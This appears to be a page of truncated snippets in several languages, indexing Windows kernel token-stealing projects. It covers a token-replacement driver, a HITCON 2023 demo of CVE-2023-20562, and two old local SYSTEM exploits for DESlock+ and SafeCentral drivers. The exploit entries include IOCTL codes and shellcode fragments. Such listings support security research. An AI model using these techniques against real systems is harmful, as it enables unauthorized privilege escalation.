Tokenizer

Tokenizer Tokenizer 是一个内核模式驱动项目，允许替换 EPROCESS 中进程的令牌为系统令牌，从而提升进程的权限。该驱动设计为与一个用户态应用程序配合使用，该应用程序通过 IOCTL 向驱动发送进程 ID。 技术细节 当进程创建时，它会继承创建者的用户令牌。系统使用该令牌来决定进程可以执行哪些操作。令牌包含用户的安全标识符 SID、组成员身份和特权信息。 Token 成员位于 EPROCESS 结构体（表示进程对象的数据结构）的偏移量 0x4b8 处。Token 成员定义在 EXFASTREF...

HITCON-2023-Demo-CVE-2023-20562

HITCON 2023 Demo CVE-2023-20562 Descrizione Questa dimostrazione si è svolta a HITCON 2023 a Taiwan. La demo evidenzia lo sfruttamento di AMDCpuProfiler.sys all'interno di AMD μProf. Attivando una scrittura arbitraria sul token EPROCESS, si ottiene l'escalation dei privilegi a livello SYSTEM. La...

DESlock+ <= 4.1.10 vdlptokn.sys Local Kernel ring0 SYSTEM Exploit

Exploit for windows platform in category local exploits / deslock-vdlptokn.c Copyright c 2009 by DESlock+ include include include define VDLPTOKNIOCTL 0x00222010 define DLKFDISKRIOCTL 0x80002008 define DLKFDISKSLOT 0x00000CF8 define ARGSIZEa a/sizeof void / Win2k3 SP1/2 - kernel EPROCESS token...

Authentium SafeCentral 2.6 - 'shdrv.sys' Local Kernel Ring0 SYSTEM

/ safecentral-unharden-v2.c Copyright c 2009 by Authentium SafeCentral include include include define SAFECNTRLIOCTL 0x00226003 static unsigned char win32fixup = "\x53" "\xb8\x00\x00\x00\x00" "\xbb\x00\x00\x00\x00" "\x8b\x00" "\x89\x03" "\x31\xdb" "\x4b" "\x89\x18"; / Win2k3 SP1/2 - kernel EPROCE...